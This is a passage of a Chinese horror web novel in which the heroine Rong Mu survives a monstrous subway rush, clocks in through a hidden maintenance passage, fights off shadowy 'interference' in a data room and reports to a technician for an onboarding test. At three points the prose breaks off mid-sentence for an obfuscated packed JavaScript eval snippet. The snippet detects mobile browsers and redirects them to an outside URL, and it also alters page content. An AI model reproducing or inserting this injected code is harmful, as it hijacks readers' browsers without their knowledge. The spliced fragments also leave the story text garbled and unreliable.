地铁在漆黑的隧道里高速且平稳地前行,两侧的车窗里时不时闪过几张色彩鲜艳广告,给这趟单调的旅程增添了一点变数。 车厢里乘客的焦虑感越来越重,如同一个撑到极致的炸药包,只需要一点点外力刺激就会瞬间爆炸!有些人几乎控制不住自己的表情,好像下一秒就要暴怒或崩溃大哭。 就在这紧绷到极致的气氛中,列车缓缓减速,最终平稳地停靠下来。 静默了几秒以后,车门终于在无数双眼睛紧张的注视中,“咿咿呀呀”地缓缓打开了。 车门打开的瞬间—— “轰!!” 仿佛堤坝决口,沉默的人群瞬间爆发出惊人的能量!所有乘客如同疯了一样,双眼赤红,面目狰狞,疯狂地朝着敞开的车门涌去! 容目甚至来不及反应,就被这股狂暴的人潮裹挟着,身不由己地冲向车门!巨大的推力从四面八方传来,挤压得她几乎无法呼吸,双脚一度离地,完全是被推着走! 她愣愣地瞪着眼,看着前面一个瘦弱的“女职员”,一把将挡路的壮汉推开,又以不符合物理学定律的敏捷和轻盈,踩着其他人的肩膀和脑袋,如同炮弹般第一个射出了车门! 这根本不是通勤!简直就像……就像大逃杀! 恐惧再次摄住了容目,这次不是因为怪物诡异的形态,而是对这种完全失控的、疯狂的、歇斯底里的群体行为的恐惧!她感觉自己就像怒海中的一叶扁舟,随时可能被这股疯狂的力量撕碎! 怀中的羊皮纸,开始微微发烫了。 8. 第8章 打卡 容目终于被疯狂的人流推出了车门,她踉跄了几步,好不容易扶着身旁的一根大理石柱子勉强站稳了。 她喘了口气,这才发现自己正身处于一个非常宽敞、挑高极高的大厅。大厅出口楼梯处,悬挂着一个用烫金大字写就的巨大牌匾——盛德公司。 这牌匾和拍卖行外面的牌匾无论是字体,还是大小质地都几乎一模一样,让容目升起了几分熟悉感。 她在心底苦笑一声,准备把羊皮纸从怀中抽出来。虽然不清楚这个公司的大堂怎么会直接代替了地铁站台出现在这里,不过中立区自然会和现实世界有所不同,也没什么好奇怪的。 容目刚刚将羊皮纸展平放在手中,前方一阵巨大的噪音就突然响起,她只能匆匆扫了一眼又浅了几分,已经变成粉红色的一行字迹: 【鲜活的“恐惧”,目前收集进度40%】 是因为走出车门时看到的疯狂景象导致恐惧值上升了吗?容目无暇多想,只是从柱子后小心地探出头,向前方看去。 眼前的景象,让她头皮发麻! 先冲下车的那些“乘客”并没有离开,而是如同丧尸围城般,死死堵在几部高速电梯和消防楼梯的入口前,还在疯狂地互相推搡、撕打、甚至啃咬!只为能抢先一步挤进那有限的空间,先他人一步上楼! 尖叫声、怒吼声、撞击声、以及某种令人牙酸的撕裂声混杂在一起,构成了一曲疯狂的交响乐。 现在,即使不低头去看,容目也知道,羊皮纸上的数字肯定又往上跳动了。 她心里一阵阵发冷,中立区给出的提示是“去上班吧”,可是,在这种情况下,她又如何能越过这么多疯狂的怪物,踏上升降梯或者楼梯呢? 容目一咬牙,紧紧盯住了羊皮纸。 目光从【收集进度:50%】上划过,她压低声音,将身体尽量掩藏在柱子后面,语气急促地询问羊皮纸:“怎么才算上班了?如果不去上班会怎么样?” 羊皮纸似乎打定主意要让容目急一会,写着“收集进度”的粉红色字迹停顿了好一会,才以一种慢得叫人难受的速度一点点消融了,形成了两行全新的字迹: 【完成打卡,抵达工位,即为正常上班。】 【未能准时抵达,视为旷工,取消奖励获取资格。】 “工位在哪?奖励资格又是什么?”容目咽了咽自己干干的嗓子,轻声问道,无论答案是什么,对她来说大概率都不是好消息。 果然,接下来羊皮纸上浮现出的字迹,着实算不上什么好消息。甚至可以说,这消息非常糟糕。 【工位当然就是你工作的地方了。】羊皮纸上浮现出了一句废话,光凭文字就能脑补出它阴阳怪气的语气,【没有工作者会不知道自己的工位在哪里。】 【至于奖励资格嘛~】羊皮纸人性化地停顿了片刻,似乎被容目焦急的神情取悦了,上面的字迹亮了亮,好像它笑了两声,【奖励资格当然就是我们典当行今日售卖物品的购买资格了~】 【没有购买资格的话,可就不能离开这里了哦~】 最后一行字携带着冰冷的恶意,如同一把锋利的钩子,狠狠拽住了容目的心脏。 无法离开! 她的目光再次投向那片混乱的战场,混战仍在继续,血液飞溅在怪物们的脸上和身上,但它们却恍若未觉。有几个人形怪物回过头,正好对上了她的目光,就在容目绷紧肌肉,做好战斗准备的时候,它们却又若无其事地移开了目光。看样子,只要不靠近那边的楼梯和电梯,这些怪物应该就不会产生攻击行为。 容目在松了一口气的同时,大脑飞速运转。硬闯肯定是不行的,她听林暖说过,中立区不会给玩家一个绝对的死局,一定还有其他方法能找到生路! 她的真视之瞳以前所未有的强度运转起来,忽略掉那些疯狂扭曲的身影,专注于环境本身的细节。墙壁、地板、天花板、指示牌……所有信息都高速地从她眼前划过。 没有……哪里都没有。 容目的视线越来越模糊了,高度透支异能已经让她的身体不堪重负,眼球中布满了血丝,并伴随着不断的肿胀发痛,一股热热的液体顺着眼角滑落脸颊,容目无意识地一抹,手心上却绽放了一片殷红。 流血了。如果再继续使用异能,眼睛可能就要保不住了。 翻涌的悲伤和恐惧在心头不断激荡,羊皮纸上的数字肯定又在向上跳动,但容目却毫不在意,她此刻正死死盯着大厅的角落,在有些模糊的视线中,她终于找到了一条生路! 大厅角落一个不起眼的电子显示屏上,正滚动着花花绿绿,毫无意义的公司宣传语,长篇累牍地夸耀着公司的成就和收入,但在宣传语最下方,却以极快的频率闪烁变化着一串代码般的字符! 在其他人看来,那可能只是普通的屏幕故障产生的乱码。但在容目眼中,那串快速变化的字符却逐渐稳定、清晰,最终形成了一句明确的指令: 【运维通道验证码:7B-Ω-9360】 【有效时长:20秒】 运维通道! 几乎在指令清晰起来的瞬间,容目就猛地转头,视线扫向大厅另一个边缘。 果然,在一堆废弃的装饰盆栽后面,她看到了一扇几乎与墙壁融为一体的金属暗门,门上有一个极不起眼的密码输入器。 更有利的是,那些怪物依然专注于彼此之间的撕斗扭打,大部分怪物都是背对着运维通道的,即使它们发现了她的行动,短期内也根本无法赶到阻止她! 机会转瞬即逝! 容目没有丝毫犹豫,像一支离弦的箭,沿着阴影边缘疾冲而去!她爆发出了前所未有的速度,耳边风声呼啸,她几乎能感觉到身后那些疯狂怪物投来的嗜血目光。 【鲜活的‘恐惧’,目前收集进度65%】 羊皮纸在怀中发烫,背后已经有怪物追逐而来的沉重脚步声,容目的耳边嗡嗡作响,眼中只剩下了那一扇象征着生存希望的金属暗门。 快点!再快点! 就在验证码即将失效的最后五秒钟,她冲到了暗门前,手指如飞地在输入器上按下了那串验证码——7B-Ω-9360。 “嘀——嗡——” 暗门发出一声轻响,向内滑开,露出后面向下延伸的、布满管道的狭窄通道。 容目闪身而入,暗门在她身后迅速关闭,最后映入她眼帘的,是人形怪物们咆哮着冲上来的场景,以及……地铁分崩离析的样子? 那条粉红色的,如同蚯蚓一般的地铁,突然分裂了,变成了一节一节的长条,在轨道间蠕动着向站台上蔓延。 那一节一节粉红色的长条行动得很快,眨眼间就铺满了半个站台,向怪物们涌去。 本来打斗正激烈的怪物们如同见到了什么可怕的事物,在凝滞一瞬间之后,不约而同地放弃了争抢撕打,而是争先恐后地四散而逃,根本不管自己逃跑的路线是否与电梯和楼梯背道而驰。 门终 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17039421|194673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于关闭了,将咆哮而来的怪物挡在了门外,但粉红色长条们将人形怪物卷起来撕碎吞噬的场景却依然历历在目。 容目青白着脸色,强忍下呕吐的欲望,无力地滑坐在地上。 疲惫如潮水般涌来,眼睛持续的刺痛和流血让她几乎睁不开眼,她用袖子小心翼翼地擦拭着眼角的血迹,又带起了一阵尖锐的痛楚。 短暂的休息后,她强迫自己站了起来。通道内一片寂静,只有不知从何处传来的、规律的机器嗡鸣声,空气中还漂浮着淡淡的汽油和尘埃的味道。 她抬起手,借着门缝里的隐隐微光看了看羊皮纸,上面没再给出新的提示,接下来的路,需要她自己找了。 容目沿着狭窄的、布满管道和线缆的通道向前走去。通道并非笔直的向前延伸,时有岔路,她只能凭借着模糊的直觉,选择了一条向下倾斜的小路。 越往下走,空气越潮湿,机器的嗡鸣声也越发清晰,似乎在印证着她选择的正确性。 但无论她走的路是否正确,容目心底依然泛起了隐隐的焦躁,她根本不知道如何才能从一个四通八达的运维通道中找到自己应该前往的打卡地点。 但此刻她也没有什么好办法,只能沿着这条路一直向前走,看看最后能走到哪里去。 终于,在又走了十多分钟后,容目看见了通道的尽头。眼前是一扇普通的灰色铁门,门上没有任何标识,只有一个老式的、需要插入卡片的考勤机,旁边还有一个红色的掌纹扫描器。 容目皱起眉,打量着这个看起来像是设备间或配电室的地方。 她试着推了推门,门锁的很紧。 难道她走错路了?这里过不去,是不是应该回头换一条路走。 她犹豫着后退了两步,还没等转身,考勤机的屏幕突然亮起,显示出一个不断减少的红色倒计时: 【00:01:30】 同时,屏幕下方出现了一行字: 【身份验证:临时运维助理——容目】 【请于倒计时结束前完成打卡,否则视为旷工。】 得来全不费工夫!她居然误打误撞找到了自己工作的地方! 来不及激动,她又为另一件事情发起了愁:她该怎么打卡?她既没有门禁卡,也没有录入掌纹。 倒计时无情地跳动着: 【00:01:17】 容目尝试将自己的手贴在掌纹扫描器上,果然,上面亮起了红灯,显示出“验证失败”几个大号加粗的红字。 【00:01:05】 她焦急地四下张望,试图找到什么线索或工具,但通道里空荡荡的,只有冰冷的金属和管道。 【00:00:43】 她的目光再次落在扫描器上。它黑色的侧面微微浮凸着,形成了一个繁复精美的花纹,看起来有些眼熟。 【00:00:39】 她究竟在哪见过这个花纹? 【00:00:21】 或者说,她在哪里见过类似的东西?这种优雅华丽的风格不怎么常见,她不应该没有印象啊! 【00:00:14】 还有,这个掌纹扫描器未免太大了点,会有人的手长得这么大吗? 时间一点一滴地流逝着,红色的数字一个一个减少,剩下最后五秒的时候,容目终于深深地吸了一口气,将手中的什么东西放在了掌纹扫描器上。 “希望我没有猜错。”她喃喃地说。 9. 第9章 生路 把羊皮纸放在扫描器上以后,时间漫长得如同过了一个世纪。 容目强迫自己控制住正不断发抖的双手,全神贯注地凝视着扫描器。她将自己的性命全押在了这样一个赌注上,由不得她不紧张。 一秒、两秒过去了,扫描器依然没有丝毫反应,红色的倒计时不紧不慢地跳动着,到达了最后三秒。 容目嘴角泛起了一丝苦笑,看来她赌错了。 当她看见扫描器上繁复精美的花纹时,也许是那种下意识的熟悉感让她先入为主了,以为羊皮纸上风格相似的华美字迹纹路才是破局的关键。 她轻轻吐出一口气,心底却渐渐平静下来。事已至此,也许这就是对她欺骗林暖的惩罚吧。但如果只能留在这里的话,她也想活得更久一点,现在需要先做一些准备,来应对即将到来的各种危险。 倒计时终于来到了一秒,就在即将归零的前一刻—— 扫描器突然发出了与之前截然不同的、柔和的蓝光!那浮凸的花纹仿佛被激活了一般,流淌过一丝微光。覆盖在上面的羊皮纸被染亮了,写在上面的暗红色字迹也仿佛活了过来,与扫描器的花纹产生了某种隐隐的共鸣。 【权限识别成功。】 【验证通过。】 屏幕上的红色倒计时定格在了【00:00:01】,然后消失不见,取而代之的是一行绿色的文字: 【打卡成功。欢迎到岗,临时运维助理容目。】 “咔哒”一声轻响,那扇紧锁的灰色铁门自动向内打开了一条缝隙,露出了后面更加幽暗的空间。 容目长长地、颤抖地吐出了一口气,几乎虚脱。即使已经做好了必死的准备,但是当知道自己能再次拥有活下来的机会时,她依然几欲落泪。 她伸手取回羊皮纸,上面的恐惧收集进度已经在刚才短短的几秒里涨到了80%。 她稳了稳心神,推开铁门走了进去。 门后并非想象中的机房或者办公室,而是一个极其狭小的圆形空间,四周则是不断流动、闪烁着无数代码和符号的光壁,让人如同置身于数据的洪流之中。空间中央,只有一个悬浮着的、不断旋转的复杂几何体,淡淡的光芒在几何体表面浮动,映亮了一小片空气。 【临时运维助理,欢迎进入系统底层接口。】 【您的职责:维持此区域数据流稳定10分钟。】 【干扰源即将抵达,请做好准备。】 一个雌雄莫辨的合成音在空间中响起,几乎让容目以为是那个欢迎自己进入副本的电子音在说话。但她在小房间里转了两圈,就在天花板与墙的夹角里发现了一个金属扩音器。很明显,声音是从那里传出来的。 想到那个电子音,容目皱了皱眉:根据林暖为她讲解的规律来看,最开始的那个电子音绝对不可能是副本本身就拥有的,毕竟她既没有接到任务,也没有得到与副本相关的任何提示。所以那电子音到底是个什么?又为什么要伪装成副本的样子?它有什么目的? 问题接踵而至,但容目却一个也回答不了。 她叹了口气,只能先将这些疑惑放在一旁,以后再慢慢解决。 现在的当务之急是搞清楚什么是干扰源,她又该怎样维持数据流稳定。 突然,一直在四周流动的光壁突然剧烈地扭曲、波动起来! 那些代码和符号变得混乱、错位,发出刺耳的杂音。同时,一些扭曲的、充满恶意的黑影开始从光壁中渗透出来,发出“嘶嘶”的声响,朝着中央的几何体扑来! 容目心中一惊,这就是“干扰源”? 来不及细想,第一道黑影已扑至眼前!它没有实体,却带着一股冰冷的、令人作呕的气息,直冲脑海。容目下意识地侧身躲闪,那黑影擦着她的耳边掠过,带起的寒意让她头皮发麻。 【当前数据流稳定程度下降至95%】就在黑影没入容目身后的几何体中时,合成音冷冰冰地出声了。 【若数据流稳定程度降至80%,则视为工作失职,即刻执行惩罚。】 不能让它碰到中间的几何体! 又有几道黑影从不同方向渗透进来,它们像扭曲的烟雾,发出窸窸窣窣的低语,扰乱着她的心神。容目手无寸铁,只能凭借真视之瞳捕捉到的蛛丝马迹在狭小的空间里腾挪躲闪,同时尽力将扑向几何体的黑影撞开或用身体挡住。 每一次与黑影接触,都像有一根冰针刺入大脑,带来短暂的眩晕和刺痛。更糟糕的是,她眼角尚未愈合的伤口因为剧烈的动作再次裂开,温热的血液模糊了右眼的视线。 这不过是刚刚开始,她就已经如此狼狈了,可是那个合成音却要求她坚持十分钟。这样下去不行!太被动了! 容目背靠着冰冷的、流动着数据的光壁,剧烈地喘息着。她的真视之瞳在剧痛和混乱中被迫运转到极限。视野里一片血红,但在那扭曲的影像中,她勉强能看到——那些黑影并非毫无规律,它们飘忽不定的核心中似乎有一缕极其微弱、不断颤动的丝线,连接着外面混乱的数据流。 攻击那根“线”! 这个念头刚一闪过,又一道黑影迎面扑来!容目这次没有躲闪,而是咬紧牙关,凝聚起全部精神,将“视线”聚焦在那缕几乎看不见的丝线上,同时伸出手,朝着那根丝线所在的位置猛地一抓! 她甚至不知道自己是否能触碰到这种没有具体形态的东西,但她别无选择。 就在她的意念和动作同步的瞬间,那扑来的黑影仿佛被无形的手扼住了咽喉,动作猛地一滞,发出一声尖锐的嘶鸣,震得容目脑海发痛,但随即黑影就像被戳破的气泡般,“噗”地一声消散了。 有效! 容目精神一振!虽然双眼痛得像要炸开,但她终于找到方法了! 她开始主动运用这种刚刚领悟的技巧。不再被动防御,而是主动去寻找黑影与混乱数据流之间的“线”,然后用真视之瞳配合双手去“切断”它。 这个过程极其耗费心神,她必须在全神贯注躲避其他攻击的同时,精准地捕捉到瞬息万变的连接点。 汗水浸透了她的衣服,和血水混在一起,沉沉地贴着她的身体,平白增添了不少负担。大脑因为过度使用异能和承受精神冲击而嗡嗡作响,仿佛有无数根针在同时扎刺。 时间被无限拉长了,每一秒都像是在刀尖上跳舞。 她记不清自己切断了多少根“线”,击退了多少黑影。但是她的动作渐渐从生涩变得熟练,甚至偶尔能同时应对两三个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17039422|194673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方向的攻击! 周围混乱的数据流似乎也因为她的干预而稍稍平复了一些,光壁的扭曲幅度有所减小。 终于,当最后一道试图绕过她、直扑几何体的黑影被她险之又险地凌空“掐断”后,狭小的空间内渐渐恢复了平静。 【时间到,最终数据流稳定程度为:95%】 【恭喜你完成工作任务。】 合成电子音适时响起。 容目再也支撑不住,脱力地单膝跪倒在地,用手撑住地面,大口大口地喘着气,她全身的肌肉都在颤抖,眼前阵阵发黑。 歇了好一会,容目才算勉强恢复了一点力气,她有些狼狈地从地上慢慢站起来,抑制住喉咙里火辣辣的血腥味,嘶哑着嗓音问道:“完成工作任务以后,我还需要做些什么才能离开?” 合成音却没再发声,静了一会,羊皮纸在她怀里开始隐隐发烫了。 容目一把拽出羊皮纸,目光刚一落在上面,她就不由得皱了皱眉——羊皮纸上刚刚形成了一行字迹: 【鲜活的“恐惧”,目前收集进度86%】 还差14%才能达到“今日售卖”的要求! “说吧。”她的嗓音依旧沙哑,还透着一股浓浓的疲惫,“接下来还有什么条件?” 羊皮纸上的字迹又一次消融了,重新如同水波般荡漾起来,红色的墨迹逐渐排列成了新的内容。 容目深吸一口气,已经做好了再次接受艰巨任务的心理准备,但当她定睛看去时,却愣了一愣。 羊皮纸上新浮现出来的字迹非常清晰,也非常简短: 【最后一项任务:乘坐地铁回到初始站台。】 “就……这样?”容目有些难以置信,甚至呆呆地问出了声。 【是的,这就是最后一项任务,任务完成以后,无论“鲜活的恐惧”是否达到100%,你都可以享有兑换今日售卖物品的权利。】 看着这行字,容目深吸一口气,缓缓冷静下来。虽然“地铁”在将她送达公司的时候,表现得还算正常,但她不会忘记运维通道的门关上以前,地铁骤然分割成无数粉红色长条物体,卷起那些人形怪物的场景。 那样汹涌澎湃的力量和破坏力,绝非现在的她可以抗衡的。 能让中立区放弃原本的目标,只能说明在中立区看来,地铁里恐怕蕴含着比让她感到“恐惧”更加有价值的危机。 容目沉默了一会,羊皮纸也没催她,只是静静地躺在她手心中,文字依然稳稳当当地浮现在表面上。 “那么……”过了几分钟,容目再度开口时,嗓音中微微带了些不确定的颤抖,她不得不清了清嗓子,才能比较平稳地继续说下去:“如果我选择继续收集‘恐惧’,直到数据达到100%,这应该也是可以的吧。” 羊皮纸没有回答,如同真正的死物一般一动不动。 就在容目忍不住想要晃一晃它,再问一遍的时候,羊皮纸上终于缓缓浮现出了几个字。 这一次文字出现的速度慢极了,即使羊皮纸没有脸,看不出表情,也能让人很直观地感受到它的不情不愿。 终于,羊皮纸像是挤牙膏一样,一点一点地拼凑出了两个字: 【可以。】 10. 第10章 临时运维助理 宽敞气派的盛德公司大堂里,此刻空无一人。员工们早就到达了各自的工位,正在勤勤恳恳地完成着今天的任务。 小张坐在二楼保卫处里,百无聊赖地看着面前电脑屏幕里的实时监控,打了一个大大的哈欠。 他一直觉得自己这份工作特别枯燥,一点意思都没有,尤其是最近公司业务好像不太行,又裁了一批员工,导致气氛更冷清了。 还有……他低下头,看了看桌面上叠放的十来张A4纸,咂了咂嘴,这十来个倒霉蛋今天早上被地铁给吞了,他等会还需要把他们的名字注销一下。 按理说这活也不应该他干,但是,唉,谁叫人事今天早上也倒霉,没来得及跑多远就掉进地铁嘴里了。 “真是的,都跟他们说多少次了,把地铁喂饱了再放出来干活,别总消耗我们的员工。”小张不满地嘟囔着,抽出了最上面的一张纸,“就因为我是个保安,他们就不把我说的话当回事,一群眼高于顶的家伙!” 他端详了一会纸面上那个倒霉蛋的证件照,遗憾地摇摇头,就开始满桌面找自己的笔。 “太久不用笔了,都不知道扔哪去了。”他一边自言自语,一边仔仔细细地掀起了一个文件夹查看,中途还抬起头,随意扫了一眼实时监控。 但就是这一眼,让他不由得顿在了原地,半天没能动弹一下。 监控画面上,一个身影引起了他的注意。 那是一个年轻的女人,穿着一身……呃,有点脏乱,甚至破损的灰色衣服,脸色苍白,眼角还带着未干的血迹。她正从一楼大厅角落那扇通常只有维修工才会走的备用门里走出来,动作有些迟缓,眼神却异常警惕地打量着四周。 小张眨了眨眼,几乎以为自己是因为太过无聊而出现了幻觉。这形象……怎么看都不像是公司员工,倒像是刚从哪个灾难现场爬出来的。 小张又揉了揉眼睛,确认自己没看错。他下意识地坐直了身体,手指在内部通讯按钮上犹豫了一下。按规定,这种不明人员得立刻处理,但看着那女人警惕又带着点茫然的样子,还有那身实在不像样的打扮,小张心里嘀咕开了。 “该不会是哪个部门新来的,遇上什么事了吧?”他自言自语,“最近裁员裁得人心惶惶,听说外面也不太平……” 这么一想,他决定先观察观察。毕竟多一事不如少一事,万一真是员工,他贸然上报反而会惹来麻烦。 只见监控画面里,那女人在原地站了一会,似乎在努力辨认方向。然后,她像是下定了决心,深吸一口气,朝着员工电梯的方向走去,虽然脚步不算稳,但是走得很坚定。 小张看着她按了电梯上行键,安静地等在门口,侧影透着一股强撑着的镇定。“啧,看着怪不容易的。”小张摇了摇头,收回了准备按通讯按钮的手。他想着,只要这女人不闹出什么乱子,不往敏感区域跑,他就当没看见。毕竟,在这栋大楼里,谁还没点难处呢? 他看着她走进电梯,电梯门缓缓关上。小张切换了一下监控画面,看到电梯轿厢里的摄像头显示她按下了28层的按钮。 “28楼?那可是高层办公室……”小张皱了皱眉,但随即又释然了,“算了,也许是去找领导的吧,那就不归我管了。”他不再多想,重新拿起桌上那叠待注销的A4纸,继续翻找起他那支不知丢到哪里的笔去了。 对他而言,这只是一个微不足道的小插曲,远不如手头这些枯燥乏味的工作来得重要。 大楼很快恢复了它日常的、带着几分冷漠的平静。 此时的容目对自己刚刚引起了公司保安的注意这件事毫无所觉,她正站在不断上升的电梯里,靠着冰冷的轿厢壁,大脑飞速运转,梳理着眼下的情况。 在看到羊皮纸上浮现出【可以】两个字的时候,容目如同死里逃生一般重重舒了一口气。 接着,她立即开口,语气匆匆,几乎像是害怕羊皮纸反悔:“那么我选择继续收集恐惧,直到数据达到100%。” 过了一会,羊皮纸上又慢慢地浮现出一个“好”字,从此就归于沉寂了,无论容目再问什么它都装死保持沉默。 这也就导致了容目对接下来14%的恐惧值究竟该如何收集仍然一窍不通。 她刚才在大厅里徘徊了一会,也是为了多寻找一点有用的信息,好在努力没有白费,她终于在一面墙上找到了一张悬挂起来的公司路线图,对这个盛德公司内部多少有了点了解,不至于两眼一抹黑了。 选择28楼,也是她经过考虑才决定下来的。 28楼上主要分布的是高层办公室,按理说以她现在的外表和状态,不应该跑到那里去,毕竟她的气质和那里肯定格格不入,太容易暴露了。 但是,在28楼还有一个地方,让她觉得应该过去看一看——运维办公室。 她没忘记,自己现在的身份是这家公司的临时运维助理,那么,也许在运维办公室里能找到更多的信息,至少能让她有一个目标,不至于像无头苍蝇一样到处乱转。 电梯内部显示的数字已经跳到了13,容目盯着自己在厢壁上模模糊糊的倒影,又出了神:如果说她的身份是助理,那么至少还会有一个正式员工当她的“师傅”,也许这也是一个突破点。 就在这时,“叮”的一声,电梯突然停住了,金属灰的厢门向两侧缓缓滑开,发出了一点细微的摩擦声。 容目只来得及看清楚右上角代表楼层的数字“17”,一只穿着红色高跟鞋的脚就随着外界透进来的冷白色光芒一起踏入了电梯内。 高跟鞋的主人是一位穿着职业套裙、妆容精致的年轻女孩。她抱着一个平板电脑,眉头紧锁,似乎正在为什么事烦恼。踏入电梯后,她的目光首先扫过楼层面板,按亮了25层。 然后,她的视线才落到电梯里的另一个人——容目身上。 那目光带着毫不掩饰的打量,从她沾着污渍和血迹的灰色衣服,到她苍白疲惫的脸,最后定格在她眼角未干的血痕上。女子的眉头皱的很紧,眼神里混合着惊讶、嫌弃和一丝不易察觉的警惕。 容目的心瞬间提到了嗓子眼,她能感受到对方审视的目光像针一样扎在身上。她强迫自己维持镇定,甚至微微侧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17039423|194673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过身,假装专注地看着不断上升的楼层数字,避免与对方有直接的眼神接触。心里也飞快地思考着对策,如果对方开口询问,她该如何解释? 狭窄的电梯空间里弥漫着一种微妙的紧张感,只有电梯运行的微弱嗡鸣声在不断作响。 女子似乎并没有立刻开口的意思,但她也没有移开目光。容目在极度紧张的情况下,大脑一片空白,嗅觉却出乎意料地灵敏起来。她能闻到对方身上浓郁的香水味,是她喜欢的味道,但在此刻却只能让她感到窒息。 这种无声的、充满压迫感的审视,带来的恐惧是细微而持续的,像钝刀子割肉。 终于,在电梯到达20层时,女子似乎失去了兴趣,她转过头,开始专注于自己的平板电脑,不再看容目一眼。 容目暗暗松了口气,后背已经湿了一片。这种来自“同类”的审视和排斥,总是有一种直指人心的冰冷。 “叮——” 25层到了,女子头也不抬地走了出去,脚步很急,高跟鞋敲击地面的声音在走廊里渐行渐远。 电梯门再次关上,继续上升。 容目脑海中却依然回想着那女子的一举一动,她刚才一直盯着自己,绝不仅仅是因为自己狼狈的外表,她不会认错那种隐隐提防的感觉。那会是因为什么?自己有什么值得她关注的? 容目有将自己上上下下打量了一遍,还是没发现有什么不对之处,也只能先将这个疑问压在心底。 这一次,电梯平稳持续地上升着,直到升至28楼,中途都没再停下来。 随着清脆的提示音响起,电梯在28楼缓缓地打开了门。 门外的景象与楼下大堂的空旷截然不同。浅灰色的地毯吸走了大部分声音,走廊两侧是深色的实木门,门上挂着锃亮的铜质门牌,标注着【副总裁办公室】、【战略发展中心】等字样。 空气里弥漫着一股淡淡的咖啡香和一种近乎凝滞的安静,只有远处隐约传来敲击键盘的微弱声响,更衬得四周落针可闻。 容目深吸一口气,迈步而出。她的脚步落在柔软的地毯上,几乎没发出任何声音。她按照刚才在大堂中看到的路线,朝着走廊深处走去,目光快速扫过门牌,寻找着【运维办公室】。 她能感觉到,即使隔着厚重的门板,似乎也有无形的视线落在自己身上。她强迫自己保持步伐平稳,表情维持着一种略带疲惫的专注,仿佛只是一个普普通通的员工。 终于,在走廊一个相对偏僻的拐角,她看到了那扇门。门牌上写着【运维办公室】,旁边还有一个不起眼的小牌子:【闲人免进】。 门是虚掩着的,从里面透出了明亮的白光。 容目在门口停顿了一下,将眼角的血迹擦拭干净,还整理了自己的衣着。 等自己的整体外表看起来还算协调之后,她调整好呼吸,抬手,轻轻敲了敲门。 门内很安静,没有人应答。正当容目犹豫自己是应该再敲一次门还是直接推门而入的时候,一个略显沙哑的男声从里面传了出来,听起来很平静。 “请进。”他说。 11. 第11章 入职考核 容目推门走了进去。 房间不大,内部有些杂乱。墙壁上挂着几块显示着复杂曲线和代码的屏幕,桌子上堆满了各种线缆、工具和拆开的电子设备。 一个穿着蓝色工装、看起来三十多岁的男人正背对着她,手里拿着一个万用表,埋头在打开的机箱前忙碌着。 “什么事?”男人头也不回地问道,声音里带着一种技术人士特有的专注和直接。 “您好,我是新来的临时运维助理,容目。”容目尽量让自己的声音听起来自然一些,“我第一天来公司,先来和您报道,熟悉一下工作,给您添麻烦了。” 男人手上的动作顿了一下,然后缓缓转过身。 他的长相很普通,戴着黑框眼镜,脸上没什么表情,但眼神却很锐利,像能穿透人心。 男人盯着她,镜片后的眼睛微微眯起,没有说话。 房间里只有服务器风扇运转的低沉嗡鸣声。那种沉默带着巨大的压力,让容目几乎能听到自己心脏跳动时发出的沉重“咚咚”声。 又是这种感觉,与刚刚电梯里的红高跟鞋女子一样,他们似乎都闻到了“异类”的气息。 沉默继续蔓延,容目的后背已经被冷汗浸湿,被不知道哪里来的冷风一吹,起了一身鸡皮疙瘩。 又过了好几秒,男人才皱着眉缓缓开口,“临时助理?”他似乎有点疑惑。容目一颗心已经提到了嗓子眼,只能点点头,却说不出来半个字。 男人又看了她一眼,这次他的语气中带了一点不悦:“虽然不知道是谁把你招进来的,但是下次不要迟到。” “是。”容目低低地应了一声,表现出一副认真听话的样子。 “我叫赵工,以后你叫我赵哥就行。”这句话硬邦邦地从男人嘴里吐出来,他例行公事似的问道:“准备好入职考核没有?” 容目愣愣地望着他,摇了摇头。 赵工不耐烦地咳了一声,“你怎么什么都不知道?到底是谁把你招进来的?” 容目一瞬间紧张起来,大脑飞速运转,不知道该怎么把这个问题糊弄过去,但好在赵工并没有过多纠结,他拧着眉,语速飞快:“公司有个规定,新人招进来以后,需要进行入职考核,考核不合格就会直接清退。” 顿了顿,他接着说:“因为现在运维岗正式职工只有我一个人,所以,你的考核由我负责。” 赵工似乎很不喜欢多说话,也没多少耐心,此刻一下子解释了这么多,感觉像是能要了他的命。 说完该说的话,他干脆利落地向容目做了一个“跟上”的手势,转头就走向了房间深处。 他在一排嗡嗡作响的服务器前停下,随手从旁边杂乱的工具台上拿起一个巴掌大小、布满奇异纹路的黑色金属方块,塞到容目手中。 方块触手冰凉、沉甸甸的。容目低头看去,发现它表面的纹路并非雕刻上去的,倒像是某种活物在缓缓流动,偶尔闪过一丝极难察觉的微光。 